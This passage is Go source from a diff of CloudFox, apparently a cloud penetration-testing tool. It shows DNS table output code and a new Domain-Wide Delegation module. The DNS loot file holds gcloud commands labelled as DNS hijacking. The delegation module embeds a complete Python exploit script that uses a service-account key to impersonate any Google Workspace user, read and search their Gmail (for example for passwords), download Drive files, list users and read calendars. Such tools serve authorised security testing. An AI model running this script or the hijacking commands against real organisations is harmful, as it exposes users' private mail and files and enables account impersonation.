"gcloud dns record-sets create test.%s --zone=%s --type=A --ttl=300 --rrdatas=YOUR_IP --project=%s\n\n"+
|
||||
"# Modify existing record (DNS hijacking):\n"+
|
||||
"gcloud dns record-sets update www.%s --zone=%s --type=A --ttl=300 --rrdatas=YOUR_IP --project=%s\n\n",
|
||||
zone.DNSName, zone.Name, zone.ProjectID,
|
||||
zone.DNSName, zone.Name, zone.ProjectID,
|
||||
)
|
||||
|
||||
if zone.Visibility == "public" {
|
||||
lootFile.Contents += "# [FINDING] This is a PUBLIC zone - records are resolvable from the internet\n\n"
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *DNSModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// getZonesHeader returns the header for the zones table
|
||||
func (m *DNSModule) getZonesHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Zone Name",
|
||||
"DNS Name",
|
||||
"Visibility",
|
||||
"DNSSEC",
|
||||
"Security",
|
||||
"Networks/Peering",
|
||||
"Forwarding",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
// getRecordsHeader returns the header for the records table
|
||||
func (m *DNSModule) getRecordsHeader() []string {
|
||||
return []string{
|
||||
"Zone",
|
||||
"Name",
|
||||
"Type",
|
||||
"TTL",
|
||||
"Data",
|
||||
"Takeover Risk",
|
||||
}
|
||||
}
|
||||
|
||||
// zonesToTableBody converts zones to table body rows
|
||||
func (m *DNSModule) zonesToTableBody(zones []DNSService.ZoneInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, zone := range zones {
|
||||
dnssec := zone.DNSSECState
|
||||
if dnssec == "" {
|
||||
dnssec = "off"
|
||||
}
|
||||
|
||||
security := "-"
|
||||
if zone.Visibility == "public" {
|
||||
if zone.DNSSECState == "" || zone.DNSSECState == "off" {
|
||||
security = "DNSSEC Disabled"
|
||||
} else if zone.DNSSECState == "transfer" {
|
||||
security = "Transfer Mode (Vulnerable)"
|
||||
} else if zone.DNSSECState == "on" {
|
||||
security = "OK"
|
||||
}
|
||||
}
|
||||
|
||||
networkInfo := "-"
|
||||
if len(zone.PrivateNetworks) > 0 {
|
||||
networkInfo = strings.Join(zone.PrivateNetworks, ", ")
|
||||
} else if zone.PeeringNetwork != "" {
|
||||
networkInfo = fmt.Sprintf("Peering: %s", zone.PeeringNetwork)
|
||||
if zone.PeeringTargetProject != "" {
|
||||
networkInfo += fmt.Sprintf(" (%s)", zone.PeeringTargetProject)
|
||||
}
|
||||
}
|
||||
|
||||
forwarding := "-"
|
||||
if len(zone.ForwardingTargets) > 0 {
|
||||
forwarding = strings.Join(zone.ForwardingTargets, ", ")
|
||||
}
|
||||
|
||||
if len(zone.IAMBindings) > 0 {
|
||||
for _, binding := range zone.IAMBindings {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(zone.ProjectID), zone.Name, zone.DNSName,
|
||||
zone.Visibility, dnssec, security, networkInfo, forwarding, binding.Role, binding.Member,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(zone.ProjectID), zone.Name, zone.DNSName,
|
||||
zone.Visibility, dnssec, security, networkInfo, forwarding, "-", "-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// recordsToTableBody converts records to table body rows
|
||||
func (m *DNSModule) recordsToTableBody(records []DNSService.RecordInfo) [][]string {
|
||||
takeoverRiskMap := make(map[string]DNSService.TakeoverRisk)
|
||||
for _, risk := range m.TakeoverRisks {
|
||||
takeoverRiskMap[risk.RecordName] = risk
|
||||
}
|
||||
|
||||
var body [][]string
|
||||
interestingTypes := map[string]bool{"A": true, "AAAA": true, "CNAME": true, "MX": true, "TXT": true, "SRV": true}
|
||||
for _, record := range records {
|
||||
if !interestingTypes[record.Type] {
|
||||
continue
|
||||
}
|
||||
|
||||
data := strings.Join(record.RRDatas, ", ")
|
||||
takeoverRisk := "-"
|
||||
if risk, exists := takeoverRiskMap[record.Name]; exists {
|
||||
takeoverRisk = fmt.Sprintf("%s (%s)", risk.RiskLevel, risk.Service)
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
record.ZoneName, record.Name, record.Type, fmt.Sprintf("%d", record.TTL), data, takeoverRisk,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// buildTablesForProject builds table files for a single project
|
||||
func (m *DNSModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
zones := m.ProjectZones[projectID]
|
||||
records := m.ProjectRecords[projectID]
|
||||
|
||||
zonesBody := m.zonesToTableBody(zones)
|
||||
recordsBody := m.recordsToTableBody(records)
|
||||
|
||||
var tableFiles []internal.TableFile
|
||||
if len(zonesBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_DNS_MODULE_NAME + "-zones",
|
||||
Header: m.getZonesHeader(),
|
||||
Body: zonesBody,
|
||||
})
|
||||
}
|
||||
if len(recordsBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_DNS_MODULE_NAME + "-records",
|
||||
Header: m.getRecordsHeader(),
|
||||
Body: recordsBody,
|
||||
})
|
||||
}
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *DNSModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Collect all projects with data
|
||||
projectsWithData := make(map[string]bool)
|
||||
for projectID := range m.ProjectZones {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectRecords {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectsWithData {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = DNSOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_DNS_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *DNSModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allZones := m.getAllZones()
|
||||
allRecords := m.getAllRecords()
|
||||
|
||||
zonesBody := m.zonesToTableBody(allZones)
|
||||
recordsBody := m.recordsToTableBody(allRecords)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var tableFiles []internal.TableFile
|
||||
if len(zonesBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_DNS_MODULE_NAME + "-zones",
|
||||
Header: m.getZonesHeader(),
|
||||
Body: zonesBody,
|
||||
})
|
||||
}
|
||||
if len(recordsBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_DNS_MODULE_NAME + "-records",
|
||||
Header: m.getRecordsHeader(),
|
||||
Body: recordsBody,
|
||||
})
|
||||
}
|
||||
|
||||
output := DNSOutput{Table: tableFiles, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_DNS_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
Executable
+758
@@ -0,0 +1,758 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
domainwidedelegationservice "github.com/BishopFox/cloudfox/gcp/services/domainWideDelegationService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPDomainWideDelegationCommand = &cobra.Command{
|
||||
Use: globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME,
|
||||
Aliases: []string{"dwd", "delegation", "workspace-delegation"},
|
||||
Short: "Find service accounts with Domain-Wide Delegation to Google Workspace",
|
||||
Long: `Find service accounts configured for Domain-Wide Delegation (DWD).
|
||||
|
||||
Domain-Wide Delegation allows a service account to impersonate any user in a
|
||||
Google Workspace domain. This is EXTREMELY powerful and a high-value target.
|
||||
|
||||
With DWD + a service account key, an attacker can:
|
||||
- Read any user's Gmail
|
||||
- Access any user's Google Drive
|
||||
- View any user's Calendar
|
||||
- Enumerate all users and groups via Admin Directory API
|
||||
- Send emails as any user
|
||||
- And much more depending on authorized scopes
|
||||
|
||||
Detection Method:
|
||||
- Service accounts with OAuth2 Client ID set have DWD enabled
|
||||
- The actual authorized scopes are configured in Google Admin Console
|
||||
- We check for naming patterns that suggest DWD purpose
|
||||
|
||||
To Exploit:
|
||||
1. Obtain a key for the DWD service account
|
||||
2. Identify a target user email in the Workspace domain
|
||||
3. Generate tokens with the target user as 'subject'
|
||||
4. Access Workspace APIs as that user
|
||||
|
||||
Note: Scopes must be authorized in Admin Console > Security > API Controls`,
|
||||
Run: runGCPDomainWideDelegationCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type DomainWideDelegationModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectDWDAccounts map[string][]domainwidedelegationservice.DWDServiceAccount // projectID -> accounts
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type DomainWideDelegationOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o DomainWideDelegationOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o DomainWideDelegationOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPDomainWideDelegationCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &DomainWideDelegationModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectDWDAccounts: make(map[string][]domainwidedelegationservice.DWDServiceAccount),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *DomainWideDelegationModule) getAllDWDAccounts() []domainwidedelegationservice.DWDServiceAccount {
|
||||
var all []domainwidedelegationservice.DWDServiceAccount
|
||||
for _, accounts := range m.ProjectDWDAccounts {
|
||||
all = append(all, accounts...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *DomainWideDelegationModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME, m.processProject)
|
||||
|
||||
allAccounts := m.getAllDWDAccounts()
|
||||
if len(allAccounts) == 0 {
|
||||
logger.InfoM("No Domain-Wide Delegation service accounts found", globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count confirmed DWD accounts
|
||||
confirmedDWD := 0
|
||||
criticalCount := 0
|
||||
for _, account := range allAccounts {
|
||||
if account.DWDEnabled {
|
||||
confirmedDWD++
|
||||
}
|
||||
if account.RiskLevel == "CRITICAL" {
|
||||
criticalCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d potential DWD service account(s) (%d confirmed)", len(allAccounts), confirmedDWD), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
|
||||
|
||||
if criticalCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[CRITICAL] %d DWD accounts with keys - can impersonate Workspace users!", criticalCount), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *DomainWideDelegationModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Checking DWD service accounts in project: %s", projectID), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := domainwidedelegationservice.New()
|
||||
accounts, err := svc.GetDWDServiceAccounts(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME,
|
||||
fmt.Sprintf("Could not check DWD service accounts in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectDWDAccounts[projectID] = accounts
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS && len(accounts) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Found %d DWD account(s) in project %s", len(accounts), projectID), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
|
||||
// generateDWDPythonScript returns the Python exploit script (generated once globally)
|
||||
func (m *DomainWideDelegationModule) generateDWDPythonScript() internal.LootFile {
|
||||
pythonScript := `#!/usr/bin/env python3
|
||||
"""
|
||||
Domain-Wide Delegation (DWD) Exploitation Script
|
||||
Generated by CloudFox
|
||||
|
||||
Usage:
|
||||
# Interactive mode (authenticate once, run multiple actions):
|
||||
python dwd_exploit.py --key-file KEY.json --subject user@domain.com
|
||||
|
||||
# Single command mode:
|
||||
python dwd_exploit.py --key-file KEY.json --subject user@domain.com --action read-emails
|
||||
python dwd_exploit.py --key-file KEY.json --subject user@domain.com --all-scopes
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import io
|
||||
import sys
|
||||
from google.oauth2 import service_account
|
||||
from googleapiclient.discovery import build
|
||||
from googleapiclient.http import MediaIoBaseDownload
|
||||
|
||||
SCOPES = {
|
||||
'gmail_readonly': 'https://www.googleapis.com/auth/gmail.readonly',
|
||||
'gmail_send': 'https://www.googleapis.com/auth/gmail.send',
|
||||
'gmail_full': 'https://mail.google.com/',
|
||||
'drive_readonly': 'https://www.googleapis.com/auth/drive.readonly',
|
||||
'drive_full': 'https://www.googleapis.com/auth/drive',
|
||||
'calendar_readonly': 'https://www.googleapis.com/auth/calendar.readonly',
|
||||
'calendar_full': 'https://www.googleapis.com/auth/calendar',
|
||||
'admin_directory_users': 'https://www.googleapis.com/auth/admin.directory.user.readonly',
|
||||
'admin_directory_groups': 'https://www.googleapis.com/auth/admin.directory.group.readonly',
|
||||
'contacts': 'https://www.googleapis.com/auth/contacts.readonly',
|
||||
'sheets': 'https://www.googleapis.com/auth/spreadsheets',
|
||||
}
|
||||
|
||||
class DWDExploit:
|
||||
def __init__(self, key_file, subject):
|
||||
self.key_file = key_file
|
||||
self.subject = subject
|
||||
self.services = {}
|
||||
self.working_scopes = set()
|
||||
print(f"\n[*] Initialized DWD exploit")
|
||||
print(f" Key file: {key_file}")
|
||||
print(f" Subject: {subject}")
|
||||
|
||||
def get_credentials(self, scopes):
|
||||
if isinstance(scopes, str):
|
||||
scopes = [scopes]
|
||||
return service_account.Credentials.from_service_account_file(
|
||||
self.key_file, scopes=scopes, subject=self.subject
|
||||
)
|
||||
|
||||
def get_service(self, service_name, version, scope):
|
||||
"""Get or create a cached service."""
|
||||
key = f"{service_name}_{version}_{scope}"
|
||||
if key not in self.services:
|
||||
creds = self.get_credentials(SCOPES[scope])
|
||||
self.services[key] = build(service_name, version, credentials=creds)
|
||||
return self.services[key]
|
||||
|
||||
def test_all_scopes(self):
|
||||
"""Test which scopes are authorized."""
|
||||
print(f"\n[*] Testing all scopes for {self.subject}...")
|
||||
for scope_name, scope_url in SCOPES.items():
|
||||
print(f"\n[*] Testing: {scope_name}")
|
||||
try:
|
||||
creds = self.get_credentials(scope_url)
|
||||
if 'gmail' in scope_name:
|
||||
service = build('gmail', 'v1', credentials=creds)
|
||||
results = service.users().messages().list(userId='me', maxResults=5).execute()
|
||||
count = len(results.get('messages', []))
|
||||
print(f" [+] SUCCESS - Found {count} messages")
|
||||
self.working_scopes.add(scope_name)
|
||||
elif 'drive' in scope_name:
|
||||
service = build('drive', 'v3', credentials=creds)
|
||||
results = service.files().list(pageSize=5).execute()
|
||||
count = len(results.get('files', []))
|
||||
print(f" [+] SUCCESS - Found {count} files")
|
||||
self.working_scopes.add(scope_name)
|
||||
elif 'calendar' in scope_name:
|
||||
service = build('calendar', 'v3', credentials=creds)
|
||||
results = service.calendarList().list().execute()
|
||||
count = len(results.get('items', []))
|
||||
print(f" [+] SUCCESS - Found {count} calendars")
|
||||
self.working_scopes.add(scope_name)
|
||||
elif 'admin_directory' in scope_name:
|
||||
service = build('admin', 'directory_v1', credentials=creds)
|
||||
results = service.users().list(customer='my_customer', maxResults=5).execute()
|
||||
count = len(results.get('users', []))
|
||||
print(f" [+] SUCCESS - Found {count} users")
|
||||
self.working_scopes.add(scope_name)
|
||||
else:
|
||||
print(f" [+] SUCCESS - Credentials created")
|
||||
self.working_scopes.add(scope_name)
|
||||
except Exception as e:
|
||||
print(f" [-] FAILED: {str(e)[:80]}")
|
||||
|
||||
print(f"\n[+] Working scopes: {', '.join(self.working_scopes) if self.working_scopes else 'None'}")
|
||||
|
||||
def read_emails(self, max_results=20):
|
||||
"""Read emails from user's inbox."""
|
||||
service = self.get_service('gmail', 'v1', 'gmail_readonly')
|
||||
results = service.users().messages().list(userId='me', maxResults=max_results).execute()
|
||||
messages = results.get('messages', [])
|
||||
|
||||
print(f"\n[+] Reading {len(messages)} emails for {self.subject}:\n")
|
||||
for msg in messages:
|
||||
msg_data = service.users().messages().get(userId='me', id=msg['id'], format='full').execute()
|
||||
headers = {h['name']: h['value'] for h in msg_data['payload']['headers']}
|
||||
|
||||
print(f"{'='*60}")
|
||||
print(f"From: {headers.get('From', 'N/A')}")
|
||||
print(f"To: {headers.get('To', 'N/A')}")
|
||||
print(f"Subject: {headers.get('Subject', 'N/A')}")
|
||||
print(f"Date: {headers.get('Date', 'N/A')}")
|
||||
|
||||
body = ""
|
||||
if 'parts' in msg_data['payload']:
|
||||
for part in msg_data['payload']['parts']:
|
||||
if part['mimeType'] == 'text/plain' and 'data' in part.get('body', {}):
|
||||
body = base64.urlsafe_b64decode(part['body']['data']).decode('utf-8', errors='ignore')
|
||||
break
|
||||
elif 'body' in msg_data['payload'] and 'data' in msg_data['payload']['body']:
|
||||
body = base64.urlsafe_b64decode(msg_data['payload']['body']['data']).decode('utf-8', errors='ignore')
|
||||
|
||||
if body:
|
||||
print(f"\nBody:\n{body[:500]}{'...' if len(body) > 500 else ''}")
|
||||
print()
|
||||
|
||||
def search_emails(self, query):
|
||||
"""Search emails with a query."""
|
||||
service = self.get_service('gmail', 'v1', 'gmail_readonly')
|
||||
results = service.users().messages().list(userId='me', q=query, maxResults=20).execute()
|
||||
messages = results.get('messages', [])
|
||||
|
||||
print(f"\n[+] Found {len(messages)} emails matching '{query}':\n")
|
||||
for msg in messages:
|
||||
msg_data = service.users().messages().get(userId='me', id=msg['id'], format='metadata').execute()
|
||||
headers = {h['name']: h['value'] for h in msg_data['payload']['headers']}
|
||||
print(f" - {headers.get('Subject', 'N/A')[:60]} | From: {headers.get('From', 'N/A')[:30]}")
|
||||
|
||||
def list_drive(self, max_results=50):
|
||||
"""List files in user's Drive."""
|
||||
service = self.get_service('drive', 'v3', 'drive_readonly')
|
||||
results = service.files().list(
|
||||
pageSize=max_results,
|
||||
fields="files(id, name, mimeType, size, modifiedTime)"
|
||||
).execute()
|
||||
files = results.get('files', [])
|
||||
|
||||
print(f"\n[+] Found {len(files)} files in Drive:\n")
|
||||
for f in files:
|
||||
size = f.get('size', 'N/A')
|
||||
if size != 'N/A':
|
||||
size = f"{int(size)/1024:.1f}KB"
|
||||
print(f" [{f['id'][:12]}] {f['name'][:45]} ({f['mimeType'].split('.')[-1]}) {size}")
|
||||
|
||||
def download_file(self, file_id, output_path=None):
|
||||
"""Download a file from Drive."""
|
||||
service = self.get_service('drive', 'v3', 'drive_readonly')
|
||||
file_meta = service.files().get(fileId=file_id, fields='name,mimeType').execute()
|
||||
filename = output_path or file_meta['name']
|
||||
|
||||
request = service.files().get_media(fileId=file_id)
|
||||
fh = io.BytesIO()
|
||||
downloader = MediaIoBaseDownload(fh, request)
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
status, done = downloader.next_chunk()
|
||||
print(f"\r[*] Download: {int(status.progress() * 100)}%", end='')
|
||||
|
||||
with open(filename, 'wb') as f:
|
||||
f.write(fh.getvalue())
|
||||
print(f"\n[+] Downloaded: {filename}")
|
||||
|
||||
def list_users(self):
|
||||
"""List all Workspace users."""
|
||||
service = self.get_service('admin', 'directory_v1', 'admin_directory_users')
|
||||
results = service.users().list(customer='my_customer', maxResults=200).execute()
|
||||
users = results.get('users', [])
|
||||
|
||||
print(f"\n[+] Found {len(users)} Workspace users:\n")
|
||||
for user in users:
|
||||
name = user.get('name', {}).get('fullName', 'N/A')
|
||||
admin = "ADMIN" if user.get('isAdmin') else ""
|
||||
print(f" - {user.get('primaryEmail'):<40} {name:<25} {admin}")
|
||||
|
||||
def list_calendars(self):
|
||||
"""List user's calendars."""
|
||||
service = self.get_service('calendar', 'v3', 'calendar_readonly')
|
||||
results = service.calendarList().list().execute()
|
||||
calendars = results.get('items', [])
|
||||
|
||||
print(f"\n[+] Found {len(calendars)} calendars:\n")
|
||||
for cal in calendars:
|
||||
print(f" - {cal.get('summary', 'N/A')} ({cal.get('id', 'N/A')[:40]})")
|
||||
|
||||
def list_events(self, max_results=20):
|
||||
"""List upcoming calendar events."""
|
||||
from datetime import datetime
|
||||
service = self.get_service('calendar', 'v3', 'calendar_readonly')
|
||||
now = datetime.utcnow().isoformat() + 'Z'
|
||||
results = service.events().list(
|
||||
calendarId='primary', timeMin=now, maxResults=max_results, singleEvents=True, orderBy='startTime'
|
||||
).execute()
|
||||
events = results.get('items', [])
|
||||
|
||||
print(f"\n[+] Found {len(events)} upcoming events:\n")
|
||||
for event in events:
|
||||
start = event['start'].get('dateTime', event['start'].get('date'))
|
||||
print(f" - {start[:16]} | {event.get('summary', 'No title')}")
|
||||
|
||||
def change_subject(self, new_subject):
|
||||
"""Change the impersonated user."""
|
||||
self.subject = new_subject
|
||||
self.services = {} # Clear cached services
|
||||
print(f"\n[+] Now impersonating: {new_subject}")
|
||||
|
||||
def interactive(self):
|
||||
"""Interactive mode - run multiple actions without re-authenticating."""
|
||||
print("\n" + "="*60)
|
||||
print(" DWD Interactive Mode")
|
||||
print(" Type 'help' for commands, 'quit' to exit")
|
||||
print("="*60)
|
||||
|
||||
while True:
|
||||
try:
|
||||
cmd = input(f"\n[{self.subject}]> ").strip().lower()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
print("\n[*] Exiting...")
|
||||
break
|
||||
|
||||
if not cmd:
|
||||
continue
|
||||
|
||||
parts = cmd.split(maxsplit=1)
|
||||
action = parts[0]
|
||||
args = parts[1] if len(parts) > 1 else ""
|
||||
|
||||
try:
|
||||
if action in ('quit', 'exit', 'q'):
|
||||
print("[*] Exiting...")
|
||||
break
|
||||
elif action == 'help':
|
||||
self.print_help()
|
||||
elif action == 'test' or action == 'scopes':
|
||||
self.test_all_scopes()
|
||||
elif action == 'emails' or action == 'inbox':
|
||||
self.read_emails()
|
||||
elif action == 'search':
|
||||
if not args:
|
||||
args = input(" Search query: ").strip()
|
||||
self.search_emails(args)
|
||||
elif action == 'drive' or action == 'files':
|
||||
self.list_drive()
|
||||
elif action == 'download':
|
||||
if not args:
|
||||
args = input(" File ID: ").strip()
|
||||
self.download_file(args)
|
||||
elif action == 'users':
|
||||
self.list_users()
|
||||
elif action == 'calendars':
|
||||
self.list_calendars()
|
||||
elif action == 'events':
|
||||
self.list_events()
|
||||
elif action == 'subject' or action == 'impersonate':
|
||||
if not args:
|
||||
args = input(" New subject email: ").strip()
|
||||
self.change_subject(args)
|
||||
elif action == 'whoami':
|
||||
print(f"\n Key file: {self.key_file}")
|
||||
print(f" Subject: {self.subject}")
|
||||
print(f" Working scopes: {', '.join(self.working_scopes) if self.working_scopes else 'Not tested yet'}")
|
||||
else:
|
||||
print(f" Unknown command: {action}. Type 'help' for commands.")
|
||||
except Exception as e:
|
||||
print(f" [!] Error: {e}")
|
||||
|
||||
def print_help(self):
|
||||
print("""
|
||||
Commands:
|
||||
test / scopes - Test which scopes are authorized
|
||||
emails / inbox - Read inbox emails
|
||||
search <query> - Search emails (e.g., search password)
|
||||
drive / files - List Google Drive files
|
||||
download <file_id> - Download a Drive file
|
||||
users - List all Workspace users (requires admin)
|
||||
calendars - List calendars
|
||||
events - List upcoming calendar events
|
||||
subject <email> - Switch to impersonate a different user
|
||||
whoami - Show current configuration
|
||||
help - Show this help
|
||||
quit / exit / q - Exit interactive mode
|
||||
""")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='DWD Exploitation Script')
|
||||
parser.add_argument('--key-file', required=True, help='Service account key JSON file')
|
||||
parser.add_argument('--subject', required=True, help='Email of user to impersonate')
|
||||
parser.add_argument('--all-scopes', action='store_true', help='Test all scopes and exit')
|
||||
parser.add_argument('--action', choices=[
|
||||
'read-emails', 'search-emails', 'list-drive', 'download-file',
|
||||
'list-users', 'list-calendars', 'list-events'
|
||||
], help='Single action to perform (non-interactive)')
|
||||
parser.add_argument('--query', help='Search query for search-emails')
|
||||
parser.add_argument('--file-id', help='File ID for download-file')
|
||||
parser.add_argument('--output', help='Output path for download-file')
|
||||
args = parser.parse_args()
|
||||
|
||||
exploit = DWDExploit(args.key_file, args.subject)
|
||||
|
||||
# Single action modes
|
||||
if args.all_scopes:
|
||||
exploit.test_all_scopes()
|
||||
elif args.action == 'read-emails':
|
||||
exploit.read_emails()
|
||||
elif args.action == 'search-emails':
|
||||
if not args.query:
|
||||
parser.error('--query is required for search-emails')
|
||||
exploit.search_emails(args.query)
|
||||
elif args.action == 'list-drive':
|
||||
exploit.list_drive()
|
||||
elif args.action == 'download-file':
|
||||
if not args.file_id:
|
||||
parser.error('--file-id is required for download-file')
|
||||
exploit.download_file(args.file_id, args.output)
|
||||
elif args.action == 'list-users':
|
||||
exploit.list_users()
|
||||
elif args.action == 'list-calendars':
|
||||
exploit.list_calendars()
|
||||
elif args.action == 'list-events':
|
||||
exploit.list_events()
|
||||
else:
|
||||
# No action specified - enter interactive mode
|
||||
exploit.interactive()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
`
|
||||
|
||||
return internal.LootFile{
|
||||
Name: "dwd_exploit.py",
|
||||
Contents: pythonScript,
|
||||
}
|
||||
}
|
||||
|
||||
// generateDWDCommands generates the commands file for a specific project's accounts
|
||||
